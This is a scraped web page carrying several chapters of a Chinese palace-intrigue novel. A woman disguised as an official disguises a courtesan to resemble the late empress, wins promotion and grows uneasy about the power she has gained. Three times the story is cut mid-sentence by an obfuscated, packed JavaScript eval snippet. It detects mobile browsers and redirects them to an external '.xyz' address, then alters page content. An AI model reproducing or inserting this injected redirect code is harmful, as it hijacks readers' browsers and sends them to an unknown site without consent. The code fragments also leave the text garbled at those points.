紫苏抿了抿唇,眼里是毫不遮掩的机敏警觉。我原以为她要彻底拒绝,却听她话锋一转:“……但我所见过的所有男人,从未有人说过像公子这样的话。”
“旁人都希望我怕他,畏他,顺他。唯独公子问我,是否想要将这些都践踏于脚下。”她像是下定某种决心似的,哑着嗓子说道,“公子需要紫苏做什么,请但说无妨。”
我问她:“不知我们方才所议之事,紫苏姑娘可有听到?”
紫苏回答:“李公子屏退众人,我只听到圣上要过诞辰,后面的内容并不知晓。”
“我们方才谈及,前皇后带着情人自裁,圣上满腔愤恨无处发泄,只能面对一地残骨,因此每逢生辰便会迁怒旁人。众人都对前皇后的事唯恐避之不及,在圣上面前绝口不提当年往事。可他们不知,这恨海,同时也是情天。圣上对此事耿耿于怀多年,便可见前皇后在他心目中的地位。”
“你说,这时若有跟前皇后面容相似之人,出现在圣上的面前,他又当作何反应?”
紫苏思索了一会儿,回答道:“我觉得,圣上应当会龙颜大怒。”
“然后呢?”
“然后,他会回想起种种往事,或许会触景生情……”紫苏自言自语般说着,露出恍然大悟的神情,“他会将这女子留在身边,跟自己记忆里的那人进行对照。”
“没错,越是得不到的东西,就越想攥在手心。前皇后决然离世,甚至没留下质问的机会。当年青梅竹马一场,最后走到相看两厌,圣上心中很难说没有遗憾。可他无法让死人复生,跟无法对死人进行惩戒。于是这种复杂的情感,不断地积淀,最后发酵成无尽的怀念,瘀堵在胸口无法消散,彻底成为了他的心结。”
“倘若此时有相貌相似的女子出现,便可成为这经年累月情感的发泄口。哪怕是自我欺骗,他也绝对会倾尽一切,将此人留在身边。”
“而这,便是你我的机会。”
紫苏很快明白了我的意思。她问:“莫非公子希望我在诞辰,以形同前皇后的模样出现在圣上面前?”
我回答:“正是。”
紫苏闻言,面色不由得凝重了起来。她抿了抿唇,说道:“紫苏虽然不曾亲眼见过前皇后,但也对她也有所耳闻。皇后娘娘国色天香,远非我这等样貌可以比拟。若要李代桃僵,恐怕难以成事。”
“这点你不用担心,我自有应对之策。”我望着紫苏,忍不住轻叹一声,“只是你要想清楚,皇宫毕竟是个吃人不吐骨头的地方。千万不要因为我曾帮过你,就轻易相信我。我跟那些男人并没有什么区别,我也是在利用你。但我跟他们不一样的地方在于,只要你想,你也可以尽情地利用我。”
“紫苏明白,公子需要我在后宫帮助谋事,而我需要公子助我脱离苦海,不过是各取所需。”
她比我想象的还要清醒。
正因她如此干脆利落,我反倒有些犹豫不定:“紫苏姑娘,我可以将你送至高处,你能享荣华富贵,得敬重畏惧,受万人跪拜。但高处不胜寒,伴君如伴虎,我不能保你性命无虞。”
“公子放心,紫苏不怕死,只怕活得窝囊。”她忽然莞尔一笑,眼底尽是落拓洒脱,“紫苏本来生如草芥,不该妄想尊卑贵贱之事。可人生在世三万天,蹉跎折辱是活,浑浑噩噩是活,权势滔天也是活。我怎么也想不明白,凭什么我生来是贱,而他们就是贵?”
我果然没有看走眼,她确实是个可造之材。可越是明白她的伶俐,我越是心有不安,仿佛眼睁睁看着她,被我亲手推入火坑。
我们谁也不知道,这坑底的尽头,究竟是飞蛾扑火,还是凤凰涅槃。
“紫苏啊,人生在世,便是苦海无涯,又谈何脱离苦海?”我忍不住心生惆怅,感慨道,“现如今,你需要看他人眼色行事。若是顺利入宫,你还是需要看他人眼色。只不过人数从千百万人,变成了陛下一人。你可以将曾经看不起你的人踩在脚下,可是说不定以后有权势更高的人,会再次将你踏入泥泞。一山更比一山高,权力便是如此,永无止境……”
说到这里,我也不由得产生片刻的迷茫。我铤而走险独身入京城,瞒天过海蒙混至今,只为那碎银几两,究竟是对还是错?
“没想到,公子心思深,心却不狠。您对我如此推心置腹,我自然不会辜负这一片好心。”紫苏捂着嘴,浅浅笑道,“您大可放心,既然做出如此决断,我自会承担相应的后果。”
“若真踏入宫门,便再无退路。”我晃了晃脑袋,彻底回过神来,便将提前备好的纸条,塞到紫苏的掌心,“此举乃剑走偏锋,不可草率行事。还请三思后行,多加定夺。如果三日后,你心意已决,依然愿意淌这浑水,便来这地方见面。我会安排人,前来与你接应。”
26
三日后,紫苏如期而至。
我乔装成老伯,早已在约定地点等候多时。
紫苏半信半疑地望着我:“您便是周公子派来的人?”
我佝偻着后背,咳嗽了几声,变换成苍老的声线:“是的,老夫正是奉周公子的命令,来为姑娘更换容貌。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569723|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
紫苏脸上闪过片刻的惊愕,很快又恢复了平静。她道:“听闻民间多能人异士,我却从未见过,没想到今日竟然有幸亲身体验一回。”
“姑娘请坐。”我提前布置了桌椅,准备好易容用的工具,轻声叮嘱道,“先闭上眼,没有我的同意,绝对不要睁开。”
紫苏十分配合,紧闭双眼坐了下来。
其实睁眼闭眼都没所谓,根本不会影响易容术的实施。但我怕过程出现纰漏,因此特意嘱咐了一番。
整个过程进行得极为顺利,不多时便完成了易容。我将镜子横放在紫苏的面前,轻声说道:“好了,你可以睁开眼了。”
紫苏闻言,缓缓抬起眼皮。她望着镜子里的自己,呆愣了半晌,才反应了过来:“这、这……真的是我?”
她小心翼翼地伸出手,试图抚摸自己的脸颊,又唯恐毁坏刚易容完的样貌,于是手指颤颤巍巍停在脸皮几毫厘之外。
“当然,这就是你。”我回答得很爽快,“如假包换。”
“好一个如假包换。”紫苏扬了扬嘴角,可笑意未达眼底,转而蹙起了眉头,语气有些忧愁,“本来就是假的,又如何变成真的?”
“话不能这么说。”我伸出一根手指头,开始讲大道理,“这世界本就是真真假假,谁也看不清楚,所以真伪本身并不重要,重要的是别人对你的看法。你若是让别人相信你是真的,那你便是真的。”
紫苏脸色稍霁,说道:“老伯您手真巧,可谓是真假难辨,看来周公子的手下人才辈出。”
我抚了一把假胡子,笑而不语。
若我直接用周郎的容貌见面,就相当于暴露自己会易容术,说不定紫苏日后会看出端倪,发现我的真实身份。万一她哪天选择背叛我,那我恐怕会落得个死无葬身之地。
虽说用人不疑,疑人不用,但防人之心不可无。我还是决定小心提防,为自己留一条后路。而凭空捏造老伯这层身份,便可以成为保护我的屏障。
“离圣上的生辰还有一段时日,紫苏姑娘需要早做筹备。”我从衣裳里掏出准备好的卷轴,又指了指房内堆放的箱子,“这是我收集的,有关前皇后的生平逸事,还有圣上的喜好,务必要牢记于心。还有箱子里的书籍,也要熟读,尽量做到融会贯通。”
紫苏接过卷轴,打开箱子翻看了一番,面露疑惑道:“为何这里头,还有兵法、权术、制衡驭人之术,这不是将军帝王才看的书吗?”
我摇了摇头:“紫苏姑娘,人无贵贱,书无好坏。从来没有规定,什么书只许将军看,什么书只许帝王看。况且……周公子培养您,并非是送您入后宫争宠。嫔妃们斗来斗去,争的那点宠爱,又有什么意思?您的目光所及之处,应该放在朝廷权谋,而非三宫六院。”
“您想想看,自古都有外戚干政、宦官专权,太后垂帘听政,皇后插手政变。这是皇家最怕的事,但同时也意味着……”我垂下眼眸,意味深长地说道,“这权力啊,就像流动的河水,不会永远滞留在一处。”
紫苏瞪大双眼,半天没说出话来。过了许久,她才平复了心情,缓缓道:“我明白了。还请老伯帮我给周公子带一句话。”
“什么话?”
“紫苏今日,受益匪浅。”
11. 升官
27
皇帝诞辰,普天同乐。宴会当晚,百官云集,纷纷献上贺礼。
昏君坐在高位上,单手撑着下巴,看起来兴致缺缺。旁边的妃子笑着拨开葡萄皮,将晶莹剔透的果肉送到他的唇边。而底下的官员们,就像是费尽心思的杂耍艺人,拼命想要获得君王的青眼。
所谓贺礼,无非是诗词字画、金银珠宝之类的物件,只不过模样不同罢了。
顾郎献上夜明珠,昏君只粗略扫了一眼,便摆摆手过去了,看起来根本没有放在眼里。
很快就轮到了李郎。他按照我的建议,制作了万寿无疆图。
听完这张图的由来寓意,昏君微微颔首,多看了几眼:“不错,赏。”
仅仅是三个字,却令李郎大喜过望。他连忙作揖,告退时眼底是遮不住的欢喜。
接着呈上的贺礼,都无甚新意。昏君打了个哈欠,似乎有些不耐烦。
正巧赶上这关口,刘郎呈上了贺礼:“这是微臣特意寻来能工巧匠,打造出来的一套寿桃鎏金酒器。祝陛下洪福齐天,万寿无疆。”
昏君喜美酒,酒器投其所好,也算是讨巧的办法。难怪刘郎始终遮遮掩掩,不肯跟别人透露半点风声。
我原以为刘郎会得到嘉奖,没想到昏君却眯起眼,面露不虞道:“在你的眼里,朕就这般沉迷酒色?”
“微、微臣不敢。”刘郎身形踉跄了一下,声音止不住的颤抖,“这、这酒器只是……”
“滚!”昏君打断他的辩解,直接大手一挥,“来人,拖下去。”
刘郎顿时面如死灰,直接瘫软在地。那日我回怼他的戏言,没想到竟然一语成谶。
原先我只是听闻昏君喜怒不定,如今真的亲眼见到,不免有些心惊。
常言都道,无情最是帝王家。别人的生死沉浮,毕生追求的富贵荣辱,落到他的嘴边,不过是轻描淡写的几句话。
因着这番波折,在场鸦雀无声,甚至无人敢再上前。他们生怕皇帝余怒未消,波及到自己。
“众爱卿怎么都不说话?”
昏君的声音,在此时无异于催命符。
最后还是王丞相打破了这片诡异的沉默。他道:“微臣聊备了一些薄礼,愿陛下与天同寿。”
昏君既没有说好,也没有说不好,只是心不在焉地点了点头。他歪着脑袋,靠在嫔妃的肩头,心思似乎飘向了别处。
其他朝臣见无事发生,才暗自松了口气,继续依次恭贺献礼。
我观察了好一会儿,直觉时机差不多,才迈步而出,开口道:“微臣为陛下准备的贺礼,有些许特殊。”
“哦,怎么个特殊法?”昏君抬头看向我。
“我献给陛下的,不是物,而是人。准确来说,是一支舞。”
我屏住呼吸,朝后摆手示意。一群戴着面纱的女子鱼贯而入,随着奏乐翩翩起舞。而站在最中央的,便是手抱琵琶的紫苏。
她一手拨弦,一手舞动,脚尖步步生莲,身姿摇曳轻盈。最终如我们提前约好的那般,她脸上的面纱,在舞曲的最后随风落下。
世界仿佛安静了一瞬,昏君陡然间站了起来。他瞪大双眼,满脸不可置信,吼道:“大胆!”
“你是什么人,竟敢凭这副面貌出现在朕的面前?你们以为朕是这么好戏弄的吗?!”
昏君咬牙切齿,眼珠里尽是殷红血丝,看起来恨不得吃了我。
我远远看见对面的朝臣,目光里隐约带着几分悲悯和同情。或许在他们的眼里,得罪皇帝的我,俨然成为了一个死人。
这是一场生死对弈。要么平步青云,要么满盘皆输。
在这短暂的瞬间,我的掌心渗出了细汗。周佑民是赌徒,我也不遑多让。唯一的区别在于,他赌的是钱财,我赌的是性命。
空气极具压迫感,几乎令人窒息。昏君忽然吐出一口浊气,猛地跌回宝座。他捂着脸,低笑了几声,状似癫狂,很快又变脸般地恢复了理智。
昏君看了看紫苏,又指了指我。他的声音变得和缓,像是吐着信子的蛇:“你,还有你,叫什么名字?”
紫苏低下头,不卑不亢地答道:“民女名为苏梓。”
苏梓倒过来,便是紫苏。
我也低着头,回答道:“微臣名为周佑民,是礼部的主事之一。”
“周佑民……很好,朕记住你的名字了。”昏君拍了拍手掌,嘴角勾起一抹弧度,“你送的这份贺礼,是近年来最有趣的东西,朕十分喜欢。赏,重重有赏!”
他眯起眼睛,似乎在回想着什么,紧接着说道:“王丞相,朕好像记得,这礼部侍郎一职正好空缺,是吗?”
王丞相捋了捋胡须,答道:“回陛下,确有此事。”
昏君挥了挥手,做下了决断:“眼下便有如此人才,便把侍郎之位给他吧。”
28
人生三大幸事,升官发财死夫君。
我成了礼部侍郎,还额外得到几箱银子作为奖赏。
紫苏成了皇帝的宠妃,很快就册封为了皇后。李郎见了她都要跪拜叩首,张知节遇着她都要礼让三分。
昏君将她留在身边,日夜形影不离。他把对前皇后的遗憾,尽数寄托在紫苏的身上,仿佛扮演自欺欺人的家家酒。
或许在他看来,紫苏的出现是因缘巧合,还是别有居心,根本就不重要。因为他是至高无上的帝王,没人能轻易伤他性命,他只需考虑自己的悲欢喜怒。
不喜欢的就杀掉,喜欢的就留下。他就像是被惯坏了的小孩,在皇权的溺爱之下,极尽天真无邪的残忍。
紫苏摸清昏君的脾性以后,便开始旁敲侧击打探他对朝臣政务的看法,再暗中给我传递消息。
因着这层关系,我在早朝的发言中,次次都能讨得昏君的欢心。
上有所好,下必甚焉。我当不了清官,只能做个奸臣。
自从我成了皇帝眼前的红人,便时常有人用银子收买贿赂,试图跟我结下交情。我自然是来者不拒,一并将所有钱财收入囊中。
说不上腰缠万贯,但也算是小有钱财。我雇人将府邸修缮了一番,又添了不少家丁奴婢。马厩里堆满了稻草,骏马养得油光水亮。
出门便有马车接送,只要我一抬脚,便有人跪在跟前,自愿当下车的脚垫。
住在奢华的宅院,身穿锦衣华服,吃的是山珍海味。我梦寐以求的富贵,如今便近在咫尺,成为了活生生的现实。可当这日真正来临,我却觉得索然无味。
不够,还是不够。这些都不是我真正要的。
我陷入一股莫名的空虚,内心深处无比焦躁不安。大脑里仿佛钻进了一只饕餮,欲望不断膨胀,不管如何吞咽,始
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569724|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
终都饥渴难耐。
在无人的深夜,我坐在镜子前,看着周郎的这张脸。忽然有些弄不明白,我想要的到底是什么。
29
这天在前去早朝的路上,有一位陌生少年忽然从街边冲了出来,伸手拦住了我的马车。
我掀起帘子,探出半个头,问道:“光天化日,为何在此寻衅滋事?”
这少年面容稍显稚嫩,看起来约莫十四五岁。衣服布料是上好的丝绸,刺绣样式极为精致,估计是哪家偷跑出来的世家子。
他双手环抱,上上下下打量着我,接着横眉冷对,问道:“你就是周佑民?”
只是个不懂事的孩子,我自然不会太过计较。看着他这副不可一世的傲气模样,我不禁哑然失笑,回答道:“正是。”
或许是我的目光太过慈祥,他似乎觉得自己被看轻了,恼羞成怒道:“我呸,你这个媚上欺下的贪官,不要脸的奸臣!”
我不想跟他计较,并不代表我乐意听人指着鼻子骂自己。
“喂,小家伙。”我侧着身子,往外伸长脖子,“口说无凭,你可不要血口喷人。说我是贪官奸臣,你又从哪里听说的,能不能拿出证据?”
“哼,我姑姑婶婶大伯二叔都是这么说的。我表哥玉树临风,饱读诗书,才华横溢,你这种酒肉饭囊根本比不上他。若不是他让着你,礼部侍郎的职位,怎么会落到你的头上!”
“你表哥是谁?”
“我表哥是……”他挺着胸脯,满脸的骄傲崇拜,正要顺着我的话头说下去,却猛然回过神,立即闭上了嘴。
好吧,激将法不管用。没有自报家门,看来这小子还不至于蠢上天。
既然暗的不行,就来明的吧。我伸出手,想把他拉进车厢,好生盘问一番。
没想到他颇为灵敏,一下子甩开我的手,像只泥鳅一样溜了出去。混乱间我失去平衡,朝前栽了下去,他手肘后撤,巴掌正好扇到了我的脸上。
待我稳住身形,他早已消失在人群之中。我捂着自己发疼的脸颊,心里很不是滋味。
这一巴掌打醒了我。
我忽然意识到,现在这份权力从来都不属于我。
我以为自己大获全胜,但其实什么都没有得到。不管是我,还是紫苏,我们都是被关在笼中的困兽,从饲养者那里拿到了些许施舍,便自以为赢得了一切,甚至为此沾沾自喜。
我们没有把任何人踩到脚下。因为他们跪的不是紫苏,是皇权。他们攀附的不是我,是地位。
在我自己也不曾意识到的时候,我把紫苏当成了手中的棋子,用冠冕堂皇的借口,完成某种象征性的上供,来换取所谓的名利。原来至始至终,我都跟自己瞧不起的男人没什么区别。
我有些迷茫。如果不这样做,我又能怎么办呢?
一个女人所能做的事有限,于是我把自己伪装成了男人。在不知不觉间,我的思维也在潜移默化中转变,连我自己都感到恶心。
曾经我是叶婉清,我守着闺房,盼着竹马回来娶我。现在我是周佑民,我渴望权势,盼着昏君施舍垂青。难道所谓的富贵,只能一味地奉承讨好吗?
女人讨好男人,男人讨好权势。层层堆砌的等级,如同一层层玲珑宝塔,压得人喘不过气。无论是哪种人生,无论选择哪种面容,始终都无法得偿所愿。
12. 出使
30
我下了马车,入了宫门。在前去正殿的路上,忽然有人从身后叫住了我。
“周侍郎,请留步。”
我回过头,原来是赵怀礼。他平日里总是衣冠整齐,现在却有些狼狈。额头冒着细汗,鬓边头发稍显凌乱,皮肤泛着薄红,呼吸也较为急促,像是一路小跑过来的。
“赵兄喊得如此客气,我还以为是别人呢。听惯了你直呼其名,现在忽然改口,我真有点不适应。”我笑着凑过去,伸手扶正了他的发冠,打趣着问道,“发生了什么事,竟让我们赵大人这般匆忙?”
赵怀礼端正神色,对我弯下腰,深深行了一礼。他道:“我是过来道歉的。”
“赵兄做了什么事,为何要道歉?”
“今早我正要出门,却撞见我表弟从外面回来。他行色慌乱,面露心虚,我再三询问,才得知他当街冲撞了你。”
赵怀礼保持着弯腰的姿势,我甚至能看见他头顶发簪雕刻的花纹。
我双手抵着他的肩膀,试图掰正他的身体:“快起来,就算有错,做错事的也是你表弟,轮不到你道歉。”
赵怀礼纹丝不动,依旧低着头:“是我管教不严,放任他肆意妄为,今天闯下这等祸,给你添了麻烦。”
真是死脑筋,怎么比磨坊的驴子还倔。
“上回是侄子,这次是表弟。赵家人丁兴旺,赵兄要操心的事,可真是多呀。”我叹了一口气,索性放弃说服他,直接双手叉腰,承认道,“反正你表弟也没骂错,我就是个谄媚的奸臣。就算那天被人当街刺死,也算死不足惜。”
赵怀礼闻言,立即抬起头,脸上俱是错愕。他道:“何出此言?旁人不曾知晓你的性情,才会在背后造谣生事。我表弟自小跟在我身后,孺慕之情有些偏激,才会偏听偏信,说出那些冒犯的话。你千万不要往心里去,更不要当真,绝不可因此妄自菲薄。”
“这话说的,就好像你知道我是什么人一样。别说是千人千面,哪怕是一人也有千面。见人说人话,见鬼说鬼话。你以为我有多高尚廉洁,不过是我装出来的模样,实际上我就是个贪财的小人。志趣相投都是假的,而黄金白银才是真的。”
赵怀礼愣在原地,似乎有些不可置信。
他道:“我见过很多人,分得清真心假意。哪怕是我识人不清,哪怕是你满口谎言,那日所说的话,也绝不是一个中饱私囊的无能之辈能说出口的,你怎么会……”
“哈哈哈我逗你的,瞧你这紧张的样。”我大笑着摆了摆手,揽过赵怀礼的肩膀,“其实我跟你说的所有话,确实都是出自真心实意。”
我伸出一根手指,用另一只手压弯了它,问道:“赵兄可明白过刚易折的道理?”
赵怀礼点头:“自然。”
我继续道:“水至清者无鱼,过于清正廉洁,未必是件好事。赵兄做得到心怀天下,可大多数人都做不到。他们只看得到眼前的蝇头小利,若是有人背离自己的意愿,便会群起而攻之。”
“做坏人容易,做好人难。做奸臣容易,做清官难。全黑的纸张染了污渍,看起来并不明显,而全白的纸张滴了一粒墨点,却会异常显眼。好人要顾及的事情太多,难免束手束脚。而坏人无所顾忌,便可大展拳脚。”
“做清官需要行得正坐得端,但凡出现半点纰漏,便会受到指责。可人非圣贤,孰能无过?哪怕再谨小慎行,也难做到无可置疑。始终畏首畏尾,还要时刻提防小人暗算,如此弹尽竭虑,却未必能升官。在其位谋其职,没有高官,便没有权力。自然也就无力改变江山社稷,再好的宏图壮志也终成一纸空谈。”
赵怀礼的神情有些许动容,我便乘胜追击,继续忽悠:“与其束缚手脚,我宁愿离经叛道,走一条不为世人所理解的道路。我做奸臣,既图钱,也图权。权钱并无好坏,区别在于人心。哪怕是贿赂得来的钱,若是流向百姓,那也是善行。”
谎言重复千百次,不自觉便成了真。现如今,我也分不清,自己嘴里说出来的话,到底是虚情假意还是真情流露。
若我往上爬,爬到最高,是否可以改变这该死的尊卑贵贱?究竟是我被权力吞噬,还是权力被我扼杀,亦或是两者同归于尽?
赵怀礼的声音清朗,在我的耳边响起。他道:“周弟乃非常人,行的是非常事。”
“这番独特的见解,倒是令我醍醐灌顶。兴许是我太过迂腐,光读圣贤书,却忘记落到实处。果然这侍郎之位,比起我来当,还是周弟更合适。”
我挑了挑眉:“只凭借谄媚的本事,我便当上了侍郎,赵兄当真没有遗憾?”
赵怀礼摇头:“绝无遗憾。”
我道:“可你的家人,似乎对我颇有微词。”
赵怀礼的态度,并不代表别人的想法。从他表弟的行为,就可以窥见一二。
我半路截胡了赵怀礼的官职,赵家人肯定大为恼火。他们打点好关系,想要将赵怀礼捧上去,却被我钻了空子。估计是在背地里讨论我,让小辈听了去,才会闹出今日的事端。
赵怀礼愣了愣,随即解释道:“你放心,他们不会为难你。”
他听懂了我的言下之意。作为寒门出身的书生,我在朝廷无依无靠,甚至都没有亲近任何党派。若是得罪了赵家,日子自然会不大好过。
现如今我正得势,他们看在皇帝的面子上不会动我。但圣心难测,日后我若失势,说不定人人都能来踩上一脚。
此外,我也很在意赵怀礼表弟所说的话。他说,是赵怀礼在让我。
“赵怀礼,你实话告诉我。你是不是在可怜我?”
他矢口否认:“没有。”
我却起了疑心:“从内定你为侍郎的消息传出,到圣上的生辰,中间有一段时日。这期间分明可以下达任命书,却迟迟没有动静。张尚书办事从来不会拖泥带水,除非是你自己不愿。我说的对吗?”
“看来还是瞒不过你。”赵怀礼长叹一声,解释道,“其实,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574742|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自从上次跟你长谈,回家后我思虑良久,始终觉得自己并非礼部侍郎的最好人选。论资历,你比我早一年。论办事能力,你也不逊于我。我胜过你的地方,无非是家世。可我偏偏不想要凭借这个,来获得这份升迁。”
他目光灼灼,言之切切:“我曾无数问自己,若我不姓赵,仅凭自己,能够走到如今的地位吗?若我不是赵怀礼,而是张三李四王五,这份官职会属于我吗?构成我赵怀礼的,不应当是家世身份,而应是才华品格。若我接受了任命书,我便不再是我。”
“君子和而不同,我理解你的立场,但我也有自己的坚持。”我抬起头,望着赵怀礼的眼睛,认真说道,“你的谦让,对于我来说,反而是一种傲慢。我不是路边的乞丐,官位也不是廉价的大饼,我不需要你故意施舍。谁输谁赢,自然是各凭本事。”
“我想要的,必定要得到。不管是争,还是抢,我都会拿到手。你若真是故意让着我,那才是真的看不起我。”
“你啊,总是……会说出让我惊讶的话。”赵怀礼抿了抿唇,表情看起来有些无奈,却有带着几分释然,“好,我答应你,以后若是再有类似的事,我必然不会再让你。”
说到这里,他像是想起了什么事情,忽然伸手摸向我的胳膊:“上次的擦伤,没有留疤吧?”
“那点小伤,早就好了。”我微微侧身,避开他的手,顺势岔开话题,“时候也不早了,再聊下去,该赶不上早朝了。”
31
早朝的队列,便代表了官职地位。
升为侍郎以后,我的站队往前移了两排。起初刚入京那会儿,我待在队列末尾,只能看见张知节的后脑勺。而如今,我总算能看清他的肩膀了。
只是如此,还远远不够。我希望有朝一日,能轮到他来盯着我的后背。
朝廷讨论的事务,无非是内政外敌。而今日议论的焦点,便是燕国的和亲之事。
我国跟燕国交战,已经持续了一年。其中你来我往,打得不分上下,昨日你败一城,明日我失一城。来回拉锯战,始终分不出胜负。
正所谓一将功成万骨枯,每场战役都是用人命鲜血垒出来的。再持续下去,粮草兵马耗尽,百姓苦不堪言,双方都讨不到好处。
燕国实在按捺不住,率先派人过来和谈。和谈的内容之一,就是他们会将公主嫁过来和亲。
目前需要定下来的事,就是前去接公主的队伍人选。各部需要派遣相关官员,共同组建起这支队伍,前去偏远的燕国。
这是一件苦差事,因为两国关系尚不稳定,燕国的真实目的不明,说不定这就是一场有去无回的鸿门宴。因此底层的朝臣们全部都捏了一把汗,生怕这事最后落到了自己头上。
礼部负责祭祀天地、礼仪典章、婚丧嫁娶,自然无可推卸。
当问及礼部何人出使时,张知节忽然出列,开口道:“臣举荐礼部侍郎,周佑民。”
我心里咯噔一下,暗道不妙。
13. 墙头草
32
我完全没想到张知节会在这时举荐我。
事先没有任何人告知我,礼部的人选里面会有我的名字。按理来说这种安排,基本都会提前通好气,或者稍微暗示一下。而我却没有收到提醒,便被推到了台前。
我断然不会任由他操控局势,连忙开口道:“臣以为不妥,如此重要的大事,应该派遣更为……”
“陛下,周侍郎正是最好的人选。”李郎从队列中走出,直接打断了我的话,“礼部不少大臣年事已高,山高路远舟车劳顿,恐怕心有余而力不足。年轻力壮的礼部官员,大多资历尚浅,官阶也不高,若是派遣出去,可能会让燕国误以为我们看轻了他们。两者相权衡,唯有周侍郎,既年少有为,又资历足够,无疑是此次出行的不二之选。”
我万万没有想到,平日里一口一个周弟叫得亲热的李郎,竟然会在这时跟张知节沆瀣一气,反过来背刺我。亏得我还给他献上过良策,他却狼心狗肺,如此恩将仇报。
他的话说得好听,明摆着就是捧杀。三言两语便让我定死在砧板上,将此事说成非我不可。若我还一味推卸,便是弃家国大义于不顾。
我只好重新闭上了嘴。
昏君听我们掰扯这么久,仅存的耐心也彻底耗尽。他不以为意地摆了摆手:“行吧,这事你们自己看着办。朕只需要有人能顺利把公主接过来,至于是谁,朕并不在乎。若是中途出了差错,你们便用脑袋来偿还吧。”
待下了早朝,我想去寻李郎说话,他却故意躲着我,一直其他官员交谈,始终不敢转头看我。
等到说完了话,他依然步履不停,明显着急离开。我追了上去,想要问个明白,他却顾左右而言他,半天说不出所以然。
我决心打破砂锅问到底,可是张知节却走了过来。他横在我们中间,神情从容道:“我有事要跟他商谈,周侍郎可否改日再叙?”
我还是不死心:“正巧我也有事要问张大人,不妨一同去酒楼用午膳,两位正好可以商谈一番。”
张知节拒绝道:“多谢周侍郎邀约,只不过我们要聊的是私事,不便跟公务混为一谈。”
说罢,他便拱手告辞。李郎跟在他的身后,回过头看了我一眼,轻轻摇了摇头。
他似乎心有愧疚,在跟我擦肩而过的瞬间,我听见他轻声说了一句:“抱歉。”
真是墙头草,风吹两边倒。现如今,还在这里装什么圣人,实在是虚伪至极。
33
正所谓树大招风,前些时日我的风头正盛,确实是有些过了头,现如今便遭了报应。
李郎是墙头草,而我也不是省油的灯。我可不愿意莫名其妙就吃下这个哑巴亏。
距离出使的日子,大约半月有余。在这之前,我势必要弄明白,到底是谁在背后搞鬼。
作为张知节曾经的青梅,我了解他的行事风格。他城府深心思重,向来沉得住气,极其能忍,不会因为意气用事而误了大事,也从不会主动跟人结仇。
他若是想要折腾人,肯定会做得滴水不漏,而不是用这种拙劣的手段。这种摆在明面上吃力不讨好的事,若非有人属意,他绝不会亲力而为。
既然他选择亲自出面,很大可能是应了某个大人的要求。而且这位大人,必定是位高权重,官职要比张知节要高。
我费了一番功夫,暗中调查张知节的行踪,没想到真发现了可疑之处。
张知节用别人的名字,在京城购置了一处宅院。
许多官员都会敛财,再私下囤购田宅。因为是常有的事,所以没必要特意隐瞒。张知节却做得如此隐晦,莫不是有什么不可见人的交易?
为了搞清楚这座宅院的用途,我在休沐日决定去一探究竟。
红砖绿瓦,大门紧锁。高耸的围墙矗立,足以隔绝外人的视线。我绕着外围走了一圈,发现正门落了不少灰尘,后门的衔环金兽却干干净净。这说明里面居住的人,出入大多是从后门而非正门。
可惜没办法翻过墙,偷看里面的情况。我正感到遗憾,忽然看见有一辆马车远远驶了过来。
车身很普通,用的是常见木材。遮挡日光的华盖,丝绸样式也并不名贵。暗紫色的珠帘垂下,随着马车的移动而左右晃动。
我的眼皮微跳,不知怎地,忽然想起一桩往事。
那时我装作情投意合的模样,说要给张知节绣个香囊,问他喜欢什么颜色。他回答说喜欢紫色,最好是暗紫色。我问为什么,他说,财不外露,情不外显,深紫色低调,不引人注目。
如今看见这马车,我便心生疑虑,便撤到拐角,躲在了不起眼的地方。果不其然,马车沿着围墙绕了半圈,在后门停了下来。张知节掀开帘子,左顾右盼一圈,确认无人在旁,才缓缓走下马车,叩响紧闭的大门。
说时迟,那时快。门扉猛地打开,冲出来一个面容明艳的女子。
她揪着张知节的衣领,怒目而视道:“好啊,你个混蛋,可让我给逮着了。”
张知节的脸上,罕见地露出几分慌乱:“你怎么在这里?”
“哼,我若不到这里,怎么知道你偷偷藏了个狐狸精?”女子理了理鬓边的头发,冷笑了一声,转身从门后揪出了个美貌柔弱的女子,“人证物证俱在,你还有什么话好说的。”
听完这番对话,我大致猜出了她的身份。此女应当是王慧敏,她是王丞相的女儿,同时也是张知节的妻子。
王慧敏脾气大,眼里容不下沙子。张知节是妻管严,朝廷人尽皆知。
至高至明日月,至亲至疏夫妻。没想到张知节表面对妻子百依百顺,背地里竟然在养小妾。难怪他要将这栋宅院藏得那么深,毕竟惹恼了王慧敏,可能连带着冒犯了自己最大的靠山王丞相。
这点小事虽然不足以动摇他们形成的利益关系,但王慧敏的态度在某种程度上也代表着丞相府。若是张知节不
